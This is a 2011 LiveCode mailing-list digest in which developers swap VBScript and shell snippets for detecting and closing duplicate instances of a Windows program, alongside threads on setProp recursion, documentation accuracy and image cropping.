<0546C7CA-8E41-4609-879C-AE2917142578@mac.com> References: <0546C7CA-8E41-4609-879C-AE2917142578@mac.com> Message-ID: Hi Graham, 2011/12/4 Graham Samuel > > Last May I got lots of good advice from this list (specially from Mike > Bonner) about how to deal with this problem, and it came down to running a > little VB script that ran through the open processes on the machine and > killed any duplicate of the program in question: this is not the absolutely > ideal solution, which would be to tell the LiveCode script that an instance > already exists so that the launch won't be needed, but it is workable. > Except for one show-stopper: in the example above I chose 'Troubling App' > as a name, **because it has a space in it**. It turns out the VB script I > was given worked fine for 'Firefox' for example, but didn't work for any > program name with a space in it - this despite my enclosing the statement > referring to the program in quotes, as in: > Did you tried this way: 1) get "tasklist /NH /FI " & quote & "IMAGENAME eq firefox.exe" & quote put shell( IT ) -- or process the shell() output 2) get "tasklist /NH /FI " & quote & "IMAGENAME eq Troubling\ App.exe" & quote put shell( IT ) Solution 1, I'm sure it works Solution 2, didn't test it. HTH, Thierry From m.schonewille at economy-x-talk.com Sun Dec 4 09:08:01 2011 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Sun, 4 Dec 2011 15:08:01 +0100 Subject: Preventing multiple instances of a Windows app - still a problem In-Reply-To: <0546C7CA-8E41-4609-879C-AE2917142578@mac.com> References: <0546C7CA-8E41-4609-879C-AE2917142578@mac.com> Message-ID: <732B0905-0780-40C2-B423-9F8493FCA7AF@economy-x-talk.com> Hi Graham, Looks like you need to read about the relaunch message in the docs. -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Become our partner in sales http://qery.us/1bq Start selling Color Converter today. 20% commission! On 4 dec 2011, at 13:53, Graham Samuel wrote: > Those with long memories may recall that last May (!) I was looking for a solution to the following problem: > > In a Windows environment, I have a LiveCode app that sometimes is required to launch another, non-LC, app and then quit. This is quite easy to accomplish with LC's 'launch' command, and rather pleasingly, the 'quit' still goes on working when the new app comes to the foreground. However a problem can arise if my user does this trick more than once without exiting the non-LC program (let's call it 'Troubling App'). This is because the 'launch' command doesn't check for an existing instance of Troubling App, but just happily launches a second instance (and in principle, a third, fourth etc). The LC dictionary leads one to believe that one can detect the presence of a second instance, but this isn't true - this only applies, if at all, to LC-originated executables. > > Last May I got lots of good advice from this list (specially from Mike Bonner) about how to deal with this problem, and it came down to running a little VB script that ran through the open processes on the machine and killed any duplicate of the program in question: this is not the absolutely ideal solution, which would be to tell the LiveCode script that an instance already exists so that the launch won't be needed, but it is workable. Except for one show-stopper: in the example above I chose 'Troubling App' as a name, **because it has a space in it**. It turns out the VB script I was given worked fine for 'Firefox' for example, but didn't work for any program name with a space in it - this despite my enclosing the statement referring to the program in quotes, as in: > > If objProcess.name = "Troubling App.exe" then > > I never got past this obstacle, and stopped thinking about it - but now it's come back to bite me again. Can anyone explain what I should do - maybe it's as simple as representing the program name in another way? > > TIA > > Graham > > PS Just in case you're wondering, I can't change the name of the program in question, as it already has around 10000 users. > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From bonnmike at gmail.com Sun Dec 4 10:01:35 2011 From: bonnmike at gmail.com (Mike Bonner) Date: Sun, 4 Dec 2011 08:01:35 -0700 Subject: Preventing multiple instances of a Windows app - still a problem In-Reply-To: References: <0546C7CA-8E41-4609-879C-AE2917142578@mac.com> Message-ID: Since you just want to kill the process, and not necessarily bring it to the front or anything like that, I think this is great advice. Just kill it through shell, shouldn't matter if its actually running or not. However, on the vbscript side I found a MUCH easier way to see if the process is running. Do the following as vbscript. (can run it direct, no need for a tmp file or anything) Set colProcessList = GetObject("Winmgmts:").ExecQuery ("Select * from Win32_Process WHERE Name = 'System Idle Process'") result = colProcessList.Count If the result is > 0 the process is running. Note the single quotes around my process name. > Did you tried this way: > > 1) > get "tasklist /NH /FI " & quote & "IMAGENAME eq firefox.exe" & quote > put shell( IT ) > -- or process the shell() output > > 2) > get "tasklist /NH /FI " & quote & "IMAGENAME eq Troubling\ App.exe" & > quote > put shell( IT ) > > > Solution 1, I'm sure it works > Solution 2, didn't test it. > > HTH, > > Thierry > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From m.schonewille at economy-x-talk.com Sun Dec 4 10:19:15 2011 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Sun, 4 Dec 2011 16:19:15 +0100 Subject: Preventing multiple instances of a Windows app - still a problem In-Reply-To: References: <0546C7CA-8E41-4609-879C-AE2917142578@mac.com> Message-ID: <15ADE47F-E553-4D2A-A196-B4519888DDBE@economy-x-talk.com> What's wrong with relaunch? -- Kind regards, Mark Schonewille Economy-x-Talk Http://economy-x-talk.com Share the clipboard of your computer over a local network with Clipboard Link http://clipboardlink.economy-x-talk.com Op 4 dec. 2011 om 16:01 heeft Mike Bonner het volgende geschreven: > Since you just want to kill the process, and not necessarily bring it to > the front or anything like that, I think this is great advice. Just kill it > through shell, shouldn't matter if its actually running or not. > > However, on the vbscript side I found a MUCH easier way to see if the > process is running. > > Do the following as vbscript. (can run it direct, no need for a tmp file or > anything) > > Set colProcessList = GetObject("Winmgmts:").ExecQuery ("Select * from > Win32_Process WHERE Name = 'System Idle Process'") > result = colProcessList.Count > > If the result is > 0 the process is running. Note the single quotes around > my process name. > > > > >> Did you tried this way: >> >> 1) >> get "tasklist /NH /FI " & quote & "IMAGENAME eq firefox.exe" & quote >> put shell( IT ) >> -- or process the shell() output >> >> 2) >> get "tasklist /NH /FI " & quote & "IMAGENAME eq Troubling\ App.exe" & >> quote >> put shell( IT ) >> >> >> Solution 1, I'm sure it works >> Solution 2, didn't test it. >> >> HTH, >> >> Thierry >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From bonnmike at gmail.com Sun Dec 4 10:37:06 2011 From: bonnmike at gmail.com (Mike Bonner) Date: Sun, 4 Dec 2011 08:37:06 -0700 Subject: Preventing multiple instances of a Windows app - still a problem In-Reply-To: <15ADE47F-E553-4D2A-A196-B4519888DDBE@economy-x-talk.com> References: <0546C7CA-8E41-4609-879C-AE2917142578@mac.com> <15ADE47F-E553-4D2A-A196-B4519888DDBE@economy-x-talk.com> Message-ID: Not sure the app in question is an lc app. Doesn't it only apply if thats the case? If it is an lc app, then yeah relaunch is perfect. On Sun, Dec 4, 2011 at 8:19 AM, Mark Schonewille < m.schonewille at economy-x-talk.com> wrote: > What's wrong with relaunch? > > -- > Kind regards, > > Mark Schonewille > Economy-x-Talk > Http://economy-x-talk.com > > Share the clipboard of your computer over a local network with Clipboard > Link http://clipboardlink.economy-x-talk.com > > > Op 4 dec. 2011 om 16:01 heeft Mike Bonner het > volgende geschreven: > > > Since you just want to kill the process, and not necessarily bring it to > > the front or anything like that, I think this is great advice. Just kill > it > > through shell, shouldn't matter if its actually running or not. > > > > However, on the vbscript side I found a MUCH easier way to see if the > > process is running. > > > > Do the following as vbscript. (can run it direct, no need for a tmp file > or > > anything) > > > > Set colProcessList = GetObject("Winmgmts:").ExecQuery ("Select * from > > Win32_Process WHERE Name = 'System Idle Process'") > > result = colProcessList.Count > > > > If the result is > 0 the process is running. Note the single quotes > around > > my process name. > > > > > > > > > >> Did you tried this way: > >> > >> 1) > >> get "tasklist /NH /FI " & quote & "IMAGENAME eq firefox.exe" & quote > >> put shell( IT ) > >> -- or process the shell() output > >> > >> 2) > >> get "tasklist /NH /FI " & quote & "IMAGENAME eq Troubling\ App.exe" & > >> quote > >> put shell( IT ) > >> > >> > >> Solution 1, I'm sure it works > >> Solution 2, didn't test it. > >> > >> HTH, > >> > >> Thierry > >> _______________________________________________ > >> use-livecode mailing list > >> use-livecode at lists.runrev.com > >> Please visit this url to subscribe, unsubscribe and manage your > >> subscription preferences: > >> http://lists.runrev.com/mailman/listinfo/use-livecode > >> > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From m.schonewille at economy-x-talk.com Sun Dec 4 11:20:20 2011 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Sun, 4 Dec 2011 17:20:20 +0100 Subject: Preventing multiple instances of a Windows app - still a problem In-Reply-To: References: <0546C7CA-8E41-4609-879C-AE2917142578@mac.com> <15ADE47F-E553-4D2A-A196-B4519888DDBE@economy-x-talk.com> Message-ID: <51B63F57-30B5-40B2-8562-58F5D9B78CB6@economy-x-talk.com> I see. I have been using: function programs if the platform is "MacOS" then -- only OSX! put shell("ps -xcw") into myList put offset("COMMAND",myList) into myColPos repeat for each line myLine in myList put char myColPos to -1 of myLine & cr after myNewList end repeat filter myNewList without "(*" return line 2 to -1 of myNewList else if the platform is "Win32" then put line 4 to -1 of shell("tasklist") into myList repeat for each line myLine in myList put word 1 of myLine & cr after myNewList end repeat return line 1 to -2 of myNewList else return empty end if end programs but I am not sure that this works on Win XP Home for example. Graham, could you post your current VBScript or provide a link to that script in the discussion of May? -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Become our partner in sales http://qery.us/1bq Start selling Color Converter today. 20% commission! On 4 dec 2011, at 16:37, Mike Bonner wrote: > Not sure the app in question is an lc app. Doesn't it only apply if thats > the case? If it is an lc app, then yeah relaunch is perfect. > From bonnmike at gmail.com Sun Dec 4 11:27:43 2011 From: bonnmike at gmail.com (Mike Bonner) Date: Sun, 4 Dec 2011 09:27:43 -0700 Subject: Preventing multiple instances of a Windows app - still a problem In-Reply-To: <51B63F57-30B5-40B2-8562-58F5D9B78CB6@economy-x-talk.com> References: <0546C7CA-8E41-4609-879C-AE2917142578@mac.com> <15ADE47F-E553-4D2A-A196-B4519888DDBE@economy-x-talk.com> <51B63F57-30B5-40B2-8562-58F5D9B78CB6@economy-x-talk.com> Message-ID: wow. I can tell how long i've been away from a windows command line. Didn't know about tasklist. Thanks! On Sun, Dec 4, 2011 at 9:20 AM, Mark Schonewille < m.schonewille at economy-x-talk.com> wrote: > I see. I have been using: > > function programs > if the platform is "MacOS" then -- only OSX! > put shell("ps -xcw") into myList > put offset("COMMAND",myList) into myColPos > repeat for each line myLine in myList > put char myColPos to -1 of myLine & cr after myNewList > end repeat > filter myNewList without "(*" > return line 2 to -1 of myNewList > else if the platform is "Win32" then > put line 4 to -1 of shell("tasklist") into myList > repeat for each line myLine in myList > put word 1 of myLine & cr after myNewList > end repeat > return line 1 to -2 of myNewList > else > return empty > end if > end programs > > but I am not sure that this works on Win XP Home for example. > > Graham, could you post your current VBScript or provide a link to that > script in the discussion of May? > > -- > Best regards, > > Mark Schonewille > > Economy-x-Talk Consulting and Software Engineering > Homepage: http://economy-x-talk.com > Twitter: http://twitter.com/xtalkprogrammer > KvK: 50277553 > > Become our partner in sales http://qery.us/1bq Start selling Color > Converter today. 20% commission! > > On 4 dec 2011, at 16:37, Mike Bonner wrote: > > > Not sure the app in question is an lc app. Doesn't it only apply if thats > > the case? If it is an lc app, then yeah relaunch is perfect. > > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From ambassador at fourthworld.com Sun Dec 4 12:45:50 2011 From: ambassador at fourthworld.com (Richard Gaskin) Date: Sun, 04 Dec 2011 09:45:50 -0800 Subject: setProp and Lock messages In-Reply-To: References: Message-ID: <4EDBB1CE.6080601@fourthworld.com> Todd Geist wrote: ... > But I like all of these more than the alternative of using accessors on > library stacks with name spaced accessors > > db_Contacts_getVersion > > // or > > db_getVersion("Contacts") > > > Although this is a lot less typing, I just don't care for it. Maybe I am > stupid... My apologies: I didn't mean to imply that using getProp/setProp was in any way "stupid". On the contrary, for some problems they provide an unbeatable solution. Those familiar with Cocoa's CoreData are no doubt impressed with the power of name-value-pair (NVP) programming, some of which can be simulated in LC with getProp/setProp. Nothing wrong with that at all. That's one of the great things about LC: there are many ways to solve problems, supporting a wide range of coding styles. If you like NVP use it. The main point of my post was just the caveat about how lockMessages can affect NVP-based systems. If your systems can account for that there's certainly no harm in using getProp/setProp. -- Richard Gaskin Fourth World LiveCode training and consulting: http://www.fourthworld.com Webzine for LiveCode developers: http://www.LiveCodeJournal.com LiveCode Journal blog: http://LiveCodejournal.com/blog.irv From pete at mollysrevenge.com Sun Dec 4 12:46:30 2011 From: pete at mollysrevenge.com (Pete) Date: Sun, 4 Dec 2011 09:46:30 -0800 Subject: setProp and Lock messages In-Reply-To: References: <1F2CA741-1414-4A3E-BFAF-E4264A62CCA9@economy-x-talk.com> <956326C4-5783-4FC3-817A-86219D45179D@economy-x-talk.com> Message-ID: I think the reference to the documentation not being believable alluded to the LC documentation not the datagrid documentation. The LC Reference Manual and the dictionary are old and definitely contain inaccuracies. On the topic of setprop and recursion, for example, the reference manual clearly states that you don't need to user lock messages to prevent recursion but, as several people have mentioned in this thread, you do. Although the datagrid docs are not without fault. There are several properties and commands that have been introduced since the initial version which are not mentioned anywhere in the docs. Personally, I think this is another problem that affects new LC users. It's a steep learning curve as it is and inaccurate docs make it steeper. I'm probably old fashioned, but I still believe in the RTFM adage! Pete On Sat, Dec 3, 2011 at 3:53 PM, zryip theSlug wrote: > > In my opinion, always be confident in the datagrid documentation and > do not believe Mark when he says, you should not believe in the > datagrid recommendations... > Or point him out the documentation. 8-) > > http://lessons.runrev.com/s/lessons/m/datagrid/l/7340-What-Sorts-of-Things-Should-I-Not-Do-In-Order-To-Avoid-Needless-Suffering- > > > From todd at geistinteractive.com Sun Dec 4 14:44:34 2011 From: todd at geistinteractive.com (Todd Geist) Date: Sun, 4 Dec 2011 11:44:34 -0800 Subject: setProp and Lock messages In-Reply-To: References: <1F2CA741-1414-4A3E-BFAF-E4264A62CCA9@economy-x-talk.com> <956326C4-5783-4FC3-817A-86219D45179D@economy-x-talk.com> Message-ID: I agree, Pete On Sun, Dec 4, 2011 at 9:46 AM, Pete wrote: > > > Personally, I think this is another problem that affects new LC users. > It's a steep learning curve as it is and inaccurate docs make it steeper. > I'm probably old fashioned, but I still believe in the RTFM adage! > > Pete There is a problem here! Many of the people on this list have been doing xTalk for a very long time. They have absorbed the changes over time and the documentation doesn't effect them. But for a new person, it is a significant problem, perhaps the most significant problem. Todd From ambassador at fourthworld.com Sun Dec 4 15:10:51 2011 From: ambassador at fourthworld.com (Richard Gaskin) Date: Sun, 04 Dec 2011 12:10:51 -0800 Subject: setProp and Lock messages In-Reply-To: References: Message-ID: <4EDBD3CB.8010104@fourthworld.com> Pete wrote: > I think the reference to the documentation not being believable alluded to > the LC documentation not the datagrid documentation. The LC Reference > Manual and the dictionary are old and definitely contain inaccuracies. On > the topic of setprop and recursion, for example, the reference manual > clearly states that you don't need to user lock messages to prevent > recursion but, as several people have mentioned in this thread, you do. Here's what the docs say with regard to recursion for setProp: Caution! If a setProp handler in one object's script sets the custom property for a different object, and the first object is in the second object's message path, a runaway recursion will result. For example, if the following handler is in a card script, and you set the "myCustomProperty" of a button on the card, runaway recursion will result: setProp myCustomProperty newValue set the myCustomProperty of the target to newValue + 1 -- Because the target is the button, and this handler is in -- the card, the above statement sends another setProp trigger -- to the button. end myCustomProperty To avoid this problem, set the lockMessages property to true before setting the custom property. I believe that's correct, and have not experienced any bugs which differ from that description. Has anyone here found a recipe for a behavior which contradicts that description? -- Richard Gaskin Fourth World LiveCode training and consulting: http://www.fourthworld.com Webzine for LiveCode developers: http://www.LiveCodeJournal.com LiveCode Journal blog: http://LiveCodejournal.com/blog.irv From livfoss at mac.com Sun Dec 4 18:24:16 2011 From: livfoss at mac.com (Graham Samuel) Date: Mon, 05 Dec 2011 00:24:16 +0100 Subject: Preventing multiple instances of a Windows app - still a problem Message-ID: <50B5AEF0-CFA1-4EDF-832F-A7F1E7F4B74E@mac.com> Thanks to all those who replied to my query - I appreciate both the speed and the enthusiasm of the replies! So far I have not succeeded, but I am more than ready to believe that it's finger-trouble on my part. To take Mark Schonewille's suggestions first: 1. As I stated in my original post, I am trying to prevent multiple instances of a non-LC application, so thanks but sadly 'relaunch' won't touch the problem as far as I can see - I think 'relaunch' is actually implemented as a LC engine (or inter-engine) activity. 2. Also sadly you are right and 'tasklist' is not available in Windows XP Home, which I am using and which I'm certain a good many of my users will be using too. When I do put shell("tasklist") I get 'tasklist' is not recognized as an internal or external command, operable program or batch file. Next, Thierry Douez: > Did you tried this way: > > 1) > get "tasklist /NH /FI " & quote & "IMAGENAME eq firefox.exe" & quote > put shell( IT ) > -- or process the shell() output > > 2) > get "tasklist /NH /FI " & quote & "IMAGENAME eq Troubling\ App.exe" & > quote > put shell( IT ) > > > Solution 1, I'm sure it works > Solution 2, didn't test it. Same problem - can't access 'tasklist'. And actually I don't understand what this script does. Presumably the parameters NH and FI do the killing? Next, Mike Bonner - again can't use tasklist, but there is a glimmer of hope in your remark > Since you just want to kill the process, and not necessarily bring it to > the front or anything like that, I think this is great advice. Just kill it > through shell, shouldn't matter if its actually running or not. Can I kill the process without using 'tasklist'? Since I apparently don't need to know if the process is in the list or not, could I go direct to 'kill' or whatever it's called in Windows? I tried put shell("kill FireFox.exe") but it seems 'kill' wasn't recognised, nor was 'pskill' - I have a list of Windows Command-line commands via Google in which these are included but it seems that my 'shell' doesn't invoke them. Finally, Mike gave me this little script in May - I tried to put it in a field and 'do' it as vbscript. Didn't works so then I put it in a text file, read it and tried do as vbscript again. Both times I got an execution error. Maybe it's just too late at night? 'sets the environment Set WshShell = WScript.CreateObject ("WScript.Shell") 'grabs the full processlist and puts it in a var Set colProcessList = GetObject("Winmgmts:").ExecQuery ("Select * from Win32_Process") 'loops through each looking for a match For Each objProcess in colProcessList If objProcess.name = "firefox.exe" then 'sets a flag if a match is found vFound = True End if 'next loop of course Next 'if a match was found, activate the app If vFound = True then WshShell.AppActivate "firefox" Else ' otherwise, run the app WshShell.Run "firefox.exe" End If From m.schonewille at economy-x-talk.com Sun Dec 4 18:30:32 2011 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Mon, 5 Dec 2011 00:30:32 +0100 Subject: Preventing multiple instances of a Windows app - still a problem In-Reply-To: <50B5AEF0-CFA1-4EDF-832F-A7F1E7F4B74E@mac.com> References: <50B5AEF0-CFA1-4EDF-832F-A7F1E7F4B74E@mac.com> Message-ID: <335977C9-E2EF-4C11-9628-934B9EABA8A3@economy-x-talk.com> Graham, What is the execution error exactly?! Please, always include the exact text of an error, whenever you write the word 'error'. -- Kind regards, Mark Schonewille Economy-x-Talk Http://economy-x-talk.com Share the clipboard of your computer over a local network with Clipboard Link http://clipboardlink.economy-x-talk.com Op 5 dec. 2011 om 00:24 heeft Graham Samuel het volgende geschreven: > Finally, Mike gave me this little script in May - I tried to put it in a field and 'do' it as vbscript. Didn't works so then I put it in a text file, read it and tried do as vbscript again. Both times I got an execution error. Maybe it's just too late at night? > > 'sets the environment > Set WshShell = WScript.CreateObject ("WScript.Shell") > > 'grabs the full processlist and puts it in a var > Set colProcessList = GetObject("Winmgmts:").ExecQuery ("Select * from > Win32_Process") > > > 'loops through each looking for a match > For Each objProcess in colProcessList > If objProcess.name = "firefox.exe" then > > 'sets a flag if a match is found > vFound = True > End if > > 'next loop of course > Next > > 'if a match was found, activate the app > If vFound = True then > WshShell.AppActivate "firefox" > Else > > ' otherwise, run the app > WshShell.Run "firefox.exe" > End If From bonnmike at gmail.com Sun Dec 4 19:19:52 2011 From: bonnmike at gmail.com (Mike Bonner) Date: Sun, 4 Dec 2011 17:19:52 -0700 Subject: Preventing multiple instances of a Windows app - still a problem In-Reply-To: <335977C9-E2EF-4C11-9628-934B9EABA8A3@economy-x-talk.com> References: <50B5AEF0-CFA1-4EDF-832F-A7F1E7F4B74E@mac.com> <335977C9-E2EF-4C11-9628-934B9EABA8A3@economy-x-talk.com> Message-ID: If running from within livecode (do "" as) all you get back if there is an execution error is execution error. Not sure why it doesn't pop up a real error dialog when running from a file. The kill command on windows is taskkill. Its used in the other script you sent to me, and vbscript just shells out to do the work. I'm unsure if taskkill is in xp home either though and have no way to test. Also hope you don't mind me posting your 2nd script, but here goes. Set WshShell = WScript.CreateObject ("WScript.Shell") Set colProcessList = GetObject("Winmgmts:").ExecQuery ("Select * from Win32_Process") '=========================================================== =================================== For Each objProcess in colProcessList If objProcess.name = "Local Studies.exe" then vFound = True End if Next If vFound = True then WshShell.Run ("C:\Windows\system32\cmd.exe") WshShell.sendkeys "taskkill /IM Local Studies.exe" --Shell call to taskkill WshShell.SendKeys "{ENTER}" Else Msgbox("Not Found") End If If taskkill works shelled out from vbs then you can most likely call it directly from livecode. Like all shell calls you'll need to build up the string so that it quotes "Local Studies.exe" to avoid any issues. In fact, it seems that the vbscript might need to have Local Studies.exe quoted, or escaped to get it to work. Finally, if you decide you DO need to confirm whether or not your external program is running, the 2 liner I posted earlier is a good way, and doesn't require an external vbs file to work correctly. Reposting it here so you can test on xp. Set colProcessList = GetObject("Winmgmts:").ExecQuery ("Select * from Win32_Process WHERE Name = 'Local Studies.exe'") result = colProcessList.Count This places the number of processes found that match in the result. If the result is > 0 the process is running. Note the single quotes around the process name. If the result is > 0 then if taskkill.exe is present, kill the process. If taskkill.exe isn't there, last resort could be to have the user shut the program down themselves. Oh, last thing, if you have trouble getting the "WHERE" clause to work as far as finding your process name you can change it to "WHERE Name LIKE "%Local Studies%" instead (% being wildcards) Might make it easier. From revdev at pdslabs.net Sun Dec 4 20:59:09 2011 From: revdev at pdslabs.net (Phil Davis) Date: Sun, 04 Dec 2011 17:59:09 -0800 Subject: Preventing multiple instances of a Windows app - still a problem In-Reply-To: <50B5AEF0-CFA1-4EDF-832F-A7F1E7F4B74E@mac.com> References: <50B5AEF0-CFA1-4EDF-832F-A7F1E7F4B74E@mac.com> Message-ID: <4EDC256D.7020003@pdslabs.net> Graham, On XP try the 'qprocess' command. It should be available and provides similar info. put shell("qprocess") Best - Phil Davis On 12/4/11 3:24 PM, Graham Samuel wrote: > Thanks to all those who replied to my query - I appreciate both the speed and the enthusiasm of the replies! So far I have not succeeded, but I am more than ready to believe that it's finger-trouble on my part. > > To take Mark Schonewille's suggestions first: > > 1. As I stated in my original post, I am trying to prevent multiple instances of a non-LC application, so thanks but sadly 'relaunch' won't touch the problem as far as I can see - I think 'relaunch' is actually implemented as a LC engine (or inter-engine) activity. > > 2. Also sadly you are right and 'tasklist' is not available in Windows XP Home, which I am using and which I'm certain a good many of my users will be using too. When I do > > put shell("tasklist") > > I get > > 'tasklist' is not recognized as an internal or external command, operable program or batch file. > > Next, Thierry Douez: > >> Did you tried this way: >> >> 1) >> get "tasklist /NH /FI "& quote& "IMAGENAME eq firefox.exe"& quote >> put shell( IT ) >> -- or process the shell() output >> >> 2) >> get "tasklist /NH /FI "& quote& "IMAGENAME eq Troubling\ App.exe"& >> quote >> put shell( IT ) >> >> >> Solution 1, I'm sure it works >> Solution 2, didn't test it. > Same problem - can't access 'tasklist'. And actually I don't understand what this script does. Presumably the parameters NH and FI do the killing? > > Next, Mike Bonner - again can't use tasklist, but there is a glimmer of hope in your remark > >> Since you just want to kill the process, and not necessarily bring it to >> the front or anything like that, I think this is great advice. Just kill it >> through shell, shouldn't matter if its actually running or not. > Can I kill the process without using 'tasklist'? Since I apparently don't need to know if the process is in the list or not, could I go direct to 'kill' or whatever it's called in Windows? I tried > > put shell("kill FireFox.exe") but it seems 'kill' wasn't recognised, nor was 'pskill' - I have a list of Windows Command-line commands via Google in which these are included but it seems that my 'shell' doesn't invoke them. > > Finally, Mike gave me this little script in May - I tried to put it in a field and 'do' it as vbscript. Didn't works so then I put it in a text file, read it and tried do as vbscript again. Both times I got an execution error. Maybe it's just too late at night? > > 'sets the environment > Set WshShell = WScript.CreateObject ("WScript.Shell") > > 'grabs the full processlist and puts it in a var > Set colProcessList = GetObject("Winmgmts:").ExecQuery ("Select * from > Win32_Process") > > > 'loops through each looking for a match > For Each objProcess in colProcessList > If objProcess.name = "firefox.exe" then > > 'sets a flag if a match is found > vFound = True > End if > > 'next loop of course > Next > > 'if a match was found, activate the app > If vFound = True then > WshShell.AppActivate "firefox" > Else > > ' otherwise, run the app > WshShell.Run "firefox.exe" > End If > > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- Phil Davis PDS Labs Professional Software Development http://pdslabs.net From katir at hindu.org Sun Dec 4 21:09:48 2011 From: katir at hindu.org (Sivakatirswami) Date: Sun, 04 Dec 2011 16:09:48 -1000 Subject: Image Cropping Tool for Livecode Message-ID: <4EDC27EC.5060109@hindu.org> As anyone created a image cropping tool for LiveCode? If so can you send me your stack/code or put it on line? Thanks! Om Shanti Sivakatirswami Kauai Aadheenam From jacque at hyperactivesw.com Sun Dec 4 22:37:07 2011 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Sun, 04 Dec 2011 21:37:07 -0600 Subject: Image Cropping Tool for Livecode In-Reply-To: <4EDC27EC.5060109@hindu.org> References: <4EDC27EC.5060109@hindu.org> Message-ID: <4EDC3C63.70005@hyperactivesw.com> On 12/4/11 8:09 PM, Sivakatirswami wrote: > As anyone created a image cropping tool for LiveCode? If you hold down the command key while resizing an image, it gets cropped to the new size. There's no warning, it just happens. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From mwieder at ahsoftware.net Sun Dec 4 23:16:53 2011 From: mwieder at ahsoftware.net (Mark Wieder) Date: Sun, 4 Dec 2011 20:16:53 -0800 Subject: Image Cropping Tool for Livecode In-Reply-To: <4EDC3C63.70005@hyperactivesw.com> References: <4EDC27EC.5060109@hindu.org> <4EDC3C63.70005@hyperactivesw.com> Message-ID: <13786784843.20111204201653@ahsoftware.net> Jacque- Sunday, December 4, 2011, 7:37:07 PM, you wrote: > If you hold down the command key while resizing an image, it gets > cropped to the new size. There's no warning, it just happens. !!! I'm constantly amazed by the things people around here know. AFAICT this isn't documented anywhere other than a user-supplied note in the dictionary under the crop command. -- -Mark Wieder mwieder at ahsoftware.net From jacque at hyperactivesw.com Sun Dec 4 23:55:12 2011 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Sun, 04 Dec 2011 22:55:12 -0600 Subject: Image Cropping Tool for Livecode In-Reply-To: <13786784843.20111204201653@ahsoftware.net> References: <4EDC27EC.5060109@hindu.org> <4EDC3C63.70005@hyperactivesw.com> <13786784843.20111204201653@ahsoftware.net> Message-ID: <4EDC4EB0.6010103@hyperactivesw.com> On 12/4/11 10:16 PM, Mark Wieder wrote: > Jacque- > > Sunday, December 4, 2011, 7:37:07 PM, you wrote: > >> If you hold down the command key while resizing an image, it gets >> cropped to the new size. There's no warning, it just happens. > > !!! I'm constantly amazed by the things people around here know. > AFAICT this isn't documented anywhere other than a user-supplied note > in the dictionary under the crop command. > I mostly remember it because I was so pleased when it was added to the engine, and I use it periodically. Holding the Shift key down will resize while maintaining the image ratio too. So a quick way to resize and permanently set imagedata is to shift-drag to the size you want, then command-jiggle a corner handle by one pixel and back. That way you don't have to mess with "set the imagedata of img 1 to the imagedata of img 1" in the message box. But that may not be what's wanted here. I suspect a cropping tool would use real pixel values, and a resizeable graphic to serve as a cropping frame. I haven't written one of those but maybe someone else has. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From capellan2000 at gmail.com Mon Dec 5 01:24:21 2011 From: capellan2000 at gmail.com (Alejandro Tejada) Date: Sun, 4 Dec 2011 22:24:21 -0800 (PST) Subject: Image Cropping Tool for Livecode In-Reply-To: <4EDC27EC.5060109@hindu.org> References: <4EDC27EC.5060109@hindu.org> Message-ID: <1323066261952-4159425.post@n4.nabble.com> Some years ago, I created this stack: Mask bitmap 02 http://andregarzia.on-rev.com/alejandro/stacks/mask_bitmap02.zip This version included the option to crop the image while masking. Just notice: 1) vector graphics used to crop and mask the bitmap image should be "aliased". This means that you had to deselect the box named "Antialiased" in their properties. 2) The bitmap image should be completely visible in the card. If the image is bigger than the card, then the script of this palette will not work as expected. I am sure that Wilhelm Sanke have worked extensively on this same topic and the code that you need is in one of his stacks. Al -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/Image-Cropping-Tool-for-Livecode-tp4158971p4159425.html Sent from the Revolution - User mailing list archive at Nabble.com. From ambassador at fourthworld.com Mon Dec 5 08:51:44 2011 From: ambassador at fourthworld.com (Richard Gaskin) Date: Mon, 05 Dec 2011 05:51:44 -0800 Subject: Image Cropping Tool for Livecode In-Reply-To: <4EDC3C63.70005@hyperactivesw.com> References: <4EDC3C63.70005@hyperactivesw.com> Message-ID: <4EDCCC70.2090009@fourthworld.com> Jacque wrote: > On 12/4/11 8:09 PM, Sivakatirswami wrote: >> As anyone created a image cropping tool for LiveCode? > > If you hold down the command key while resizing an image, it gets > cropped to the new size. There's no warning, it just happens. That's a frightening way to have users accidentally lose data. Is there a property to turn that off, or can we trap for commandKeyDown on mouseDown to override it? -- 